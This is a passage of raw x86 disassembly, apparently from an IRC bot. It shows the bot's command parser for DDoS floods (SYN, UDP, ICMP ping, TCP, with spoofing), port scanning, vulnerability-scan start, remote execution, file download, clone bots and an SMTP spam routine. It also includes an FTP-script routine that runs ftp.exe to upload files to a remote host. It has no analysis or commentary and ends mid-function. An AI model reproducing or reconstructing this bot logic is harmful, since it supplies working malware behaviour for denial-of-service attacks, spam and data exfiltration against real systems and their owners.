		jnz	short loc_40BA9E
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40B9ED
; ---------------------------------------------------------------------------


loc_40BA9E:				; CODE XREF: seg000:0040BA92j
		push	edi
		push	offset aShare	; "share"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BB1B
		cmp	[ebp+20h], ebx
		jz	short loc_40BAEE
		cmp	[ebp-9B0h], bl
		jz	short loc_40BAC4
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40BACF
; ---------------------------------------------------------------------------


loc_40BAC4:				; CODE XREF: seg000:0040BABAj
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40BACF:				; CODE XREF: seg000:0040BAC2j
		call	sub_40F8E5
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411963
		add	esp, 18h
		jmp	loc_40C33C
; ---------------------------------------------------------------------------


loc_40BAEE:				; CODE XREF: seg000:0040BAB2j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40FADA
		add	esp, 10h
		test	eax, eax
		jz	short loc_40BB11
		push	offset dword_42D66C
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BB11:				; CODE XREF: seg000:0040BB05j
		push	offset dword_42D638
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BB1B:				; CODE XREF: seg000:0040BAADj
		push	edi
		push	offset aUser	; "user"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BBBD
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40BB90
		cmp	[ebp-9B0h], bl
		jz	short loc_40BB51
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40BB71
; ---------------------------------------------------------------------------


loc_40BB51:				; CODE XREF: seg000:0040BB3Dj
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40BB6D
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40BB71
; ---------------------------------------------------------------------------


loc_40BB6D:				; CODE XREF: seg000:0040BB66j
		push	ebx
		push	eax
		push	2


loc_40BB71:				; CODE XREF: seg000:0040BB4Fj
					; seg000:0040BB6Bj
		call	sub_40FBFB
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411963
		add	esp, 24h
		jmp	loc_40C33C
; ---------------------------------------------------------------------------


loc_40BB90:				; CODE XREF: seg000:0040BB35j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_41010F
		add	esp, 10h
		test	eax, eax
		jz	short loc_40BBB3
		push	offset dword_42D5FC
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BBB3:				; CODE XREF: seg000:0040BBA7j
		push	offset dword_42D5CC
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BBBD:				; CODE XREF: seg000:0040BB2Aj
		push	edi
		push	offset aSend	; "send"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BC0B
		cmp	[ebp+20h], ebx
		jz	short loc_40BC01
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4103C3
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411963
		add	esp, 1Ch
		jmp	loc_40C33C
; ---------------------------------------------------------------------------


loc_40BC01:				; CODE XREF: seg000:0040BBD1j
		push	offset dword_42D598
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BC0B:				; CODE XREF: seg000:0040BBCCj
		push	offset dword_42D568
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BC15:				; CODE XREF: seg000:0040B98Aj
		push	dword ptr [ebp+18h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD67
		push	dword ptr [ebp+18h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD67
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40A60B
		push	dword ptr [ebp+18h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD28
		push	dword ptr [ebp+18h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD28
		push	dword ptr [ebp+18h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DCD5
		push	dword ptr [ebp+18h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DCD5
		push	dword ptr [ebp+18h]
		push	offset aEnz_action ; "enz.action"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC67
		push	dword ptr [ebp+18h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC67
		push	dword ptr [ebp+18h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC04
		push	dword ptr [ebp+18h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC04
		push	dword ptr [ebp+18h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DBC5
		push	dword ptr [ebp+18h]
		push	offset aEnz_m	; "enz.m"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DBC5
		push	dword ptr [ebp+18h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB5A
		push	dword ptr [ebp+18h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB5A
		push	dword ptr [ebp+18h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAD8
		push	dword ptr [ebp+18h]
		push	offset aClone_m	; "clone.m"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAD8
		push	dword ptr [ebp+18h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA67
		push	dword ptr [ebp+18h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA67
		push	dword ptr [ebp+18h]
		push	offset aClone_join ; "clone.join"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA41
		push	dword ptr [ebp+18h]
		push	offset aClone_j	; "clone.j"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA41
		push	dword ptr [ebp+18h]
		push	offset aClone_part ; "clone.part"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D9DE
		push	dword ptr [ebp+18h]
		push	offset aClone_p	; "clone.p"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D9DE
		push	dword ptr [ebp+18h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D918
		push	dword ptr [ebp+18h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D918
		push	dword ptr [ebp+18h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D87D
		push	dword ptr [ebp+18h]
		push	offset aEnz_de	; "enz.de"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D87D
		push	dword ptr [ebp+18h]
		push	offset aDownload_up010 ; "download.up010"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D6C5
		push	dword ptr [ebp+18h]
		push	offset aDownload_010 ; "download.010`"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D6C5
		push	dword ptr [ebp+18h]
		push	offset aBox_execute ; "box.execute"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D624
		push	dword ptr [ebp+18h]
		push	offset aBox_e	; "box.e"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D624
		push	dword ptr [ebp+18h]
		push	offset aBox_rename ; "box.rename"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D5A0
		push	dword ptr [ebp+18h]
		push	offset aBox_mv	; "box.mv"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D5A0
		push	dword ptr [ebp+18h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4A5
		push	dword ptr [ebp+18h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4A5
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40A60B
		push	dword ptr [ebp+18h]
		push	offset aClone_make ; "clone.make"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3BA
		push	dword ptr [ebp+18h]
		push	offset aClone_start ; "clone.start"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3BA
		push	dword ptr [ebp+18h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2B5
		push	dword ptr [ebp+18h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2B5
		push	dword ptr [ebp+18h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2B5
		push	dword ptr [ebp+18h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1B7
		push	dword ptr [ebp+18h]
		push	offset aSy1	; "sy1"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1B7
		push	dword ptr [ebp+18h]
		push	offset aDonad_frwww ; "donad.frwww"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D079
		push	dword ptr [ebp+18h]
		push	offset aD1	; "d1"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D079
		push	dword ptr [ebp+18h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF7F
		push	dword ptr [ebp+18h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF7F
		push	dword ptr [ebp+18h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE8C
		push	dword ptr [ebp+18h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE8C
		push	dword ptr [ebp+18h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDB7
		push	dword ptr [ebp+18h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDB7
		push	dword ptr [ebp+18h]
		push	offset aClone_action ; "clone.action"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCA2
		push	dword ptr [ebp+18h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCA2
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+10h], eax
		jz	loc_40A60B
		push	dword ptr [ebp+18h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C94B
		push	dword ptr [ebp+18h]
		push	offset aVvv	; "vvv"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C94B
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C82B
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C82B
		push	dword ptr [ebp+18h]
		push	offset aPu	; "pu"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C82B
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C6F8
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C6F8
		push	dword ptr [ebp+18h]
		push	offset aPg	; "pg"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C6F8
		push	dword ptr [ebp+18h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C565
		push	dword ptr [ebp+18h]
		push	offset aUsa	; "usa"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C565
		push	dword ptr [ebp+18h]
		push	offset aUtil_email ; "util.email"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40C366
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_412FC0
		push	dword ptr [ebp+20h]
		call	sub_411ECF
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_412FC0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_412FC0
		push	offset asc_420708 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_407765
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_412FC0
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_431E08
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_431F14
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_431F10
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-0D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-0D4h], eax
		call	ds:dword_431E90
		mov	[ebp-0D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_411963
		add	esp, 1Ch
		lea	eax, [ebp-0D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_431E38
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_431EA8
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_431EE0
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_431EA8
		push	esi
		call	ds:dword_431F28
		call	ds:dword_431DF0
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_42D234


loc_40C32D:				; CODE XREF: seg000:0040D4A0j
					; seg000:0040D6C0j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40C33C:				; CODE XREF: seg000:0040B9ADj
					; seg000:0040BA07j ...
		cmp	[ebp-8], ebx
		jnz	loc_40EEBA
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h
		jmp	loc_40EEBA
; ---------------------------------------------------------------------------


loc_40C366:				; CODE XREF: seg000:0040C1D7j
		push	dword ptr [ebp+18h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C537
		push	dword ptr [ebp+18h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C537
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_40A60B
		push	dword ptr [ebp+18h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F247
		push	4
		push	esi
		call	sub_409539
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C40C
		push	esi
		push	offset dword_42D1D8


loc_40C3CB:				; CODE XREF: seg000:0040C6E9j
					; seg000:0040CC9Dj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40C3DA:				; CODE XREF: seg000:0040C6CDj
					; seg000:0040CC81j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40C3FB
		push	ebx
		push	dword ptr [ebp-4]


loc_40C3E3:				; CODE XREF: seg000:0040D2B0j
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40C3F3:				; CODE XREF: seg000:0040E917j
		call	sub_40F466
		add	esp, 14h


loc_40C3FB:				; CODE XREF: seg000:0040C3DDj
					; seg000:0040C81Cj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		jmp	loc_40F3D4
; ---------------------------------------------------------------------------


loc_40C40C:				; CODE XREF: seg000:0040C3C3j
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		pop	ecx
		call	sub_4119BF
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4119BF
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4119BF
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_411963
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_412F9E
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40A60B
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_413B6D
		push	dword ptr [ebp+2Ch]
		call	sub_412E40
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_411963
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_431E04
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40C4D6
		push	offset dword_42D158
		jmp	short loc_40C4DB
; ---------------------------------------------------------------------------


loc_40C4D6:				; CODE XREF: seg000:0040C4CDj
		push	offset dword_42D118


loc_40C4DB:				; CODE XREF: seg000:0040C4D4j
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40C504
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40C504:				; CODE XREF: seg000:0040C4E6j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE


loc_40C510:				; CODE XREF: seg000:0040C535j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_409539
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40A60B
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_413B43
		jmp	short loc_40C510
; ---------------------------------------------------------------------------


loc_40C537:				; CODE XREF: seg000:0040C377j
					; seg000:0040C38Ej
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_411ECF
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4052C0
		jmp	loc_40F244
; ---------------------------------------------------------------------------


loc_40C565:				; CODE XREF: seg000:0040C1A9j
					; seg000:0040C1C0j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_411EDA
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_411D80
		add	esp, 14h
		test	eax, eax
		jz	short loc_40C5C8
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C5C8
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C5C8
		push	offset dword_42D0DC
		jmp	loc_40EA1D
; ---------------------------------------------------------------------------


loc_40C5C8:				; CODE XREF: seg000:0040C58Ej
					; seg000:0040C5A5j ...
		push	dword ptr [ebp+10h]
		call	sub_411ECF
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40C6EE
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_411EDA
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_411EDA
		push	dword ptr [ebp+8]
		call	sub_411ECF
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_411EDA
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40C65F
		mov	eax, offset aNormal ; "Normal"


loc_40C65F:				; CODE XREF: seg000:0040C658j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_42D084
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Ch
		push	eax
		call	sub_41140F
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401BD6
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40C6DD


loc_40C6C7:				; CODE XREF: seg000:0040C6DBj
		cmp	[ebp-568h], ebx
		jnz	loc_40C3DA
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40C6C7
; ---------------------------------------------------------------------------


loc_40C6DD:				; CODE XREF: seg000:0040C6C5j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D038
		jmp	loc_40C3CB
; ---------------------------------------------------------------------------


loc_40C6EE:				; CODE XREF: seg000:0040C5D9j
		push	offset dword_42CFEC
		jmp	loc_40EA1D
; ---------------------------------------------------------------------------


loc_40C6F8:				; CODE XREF: seg000:0040C164j
					; seg000:0040C17Bj ...
		cmp	ds:dword_431F80, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40C800
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_413150
		push	dword ptr [ebp+20h]
		call	sub_411ECF
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_411ECF
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_411ECF
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_413150
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-304h]
		push	offset unk_42CF90
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Eh
		push	eax
		call	sub_41140F
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_407FD2
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40C7EF


loc_40C7DD:				; CODE XREF: seg000:0040C7EDj
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40C819
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40C7DD
; ---------------------------------------------------------------------------


loc_40C7EF:				; CODE XREF: seg000:0040C7DBj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CF44
		jmp	loc_40D3A9
; ---------------------------------------------------------------------------


loc_40C800:				; CODE XREF: seg000:0040C701j
		push	1FFh
		lea	eax, [ebp-2E4h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_413150


loc_40C816:				; CODE XREF: seg000:0040D3B5j
		add	esp, 0Ch


loc_40C819:				; CODE XREF: seg000:0040C7E3j
					; seg000:0040C92Aj ...
		cmp	[ebp-8], ebx
		jnz	loc_40C3FB
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_40E909
; ---------------------------------------------------------------------------


loc_40C82B:				; CODE XREF: seg000:0040C11Fj
					; seg000:0040C136j ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_413150
		push	dword ptr [ebp+20h]
		call	sub_411ECF
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_411ECF
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_411ECF
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40C890
		push	esi
		call	sub_411ECF
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40C896
; ---------------------------------------------------------------------------


loc_40C890:				; CODE XREF: seg000:0040C87Fj
		mov	[ebp-2F8h], ebx


loc_40C896:				; CODE XREF: seg000:0040C88Ej
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_413150
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-304h]
		push	offset dword_42CED0
		push	eax
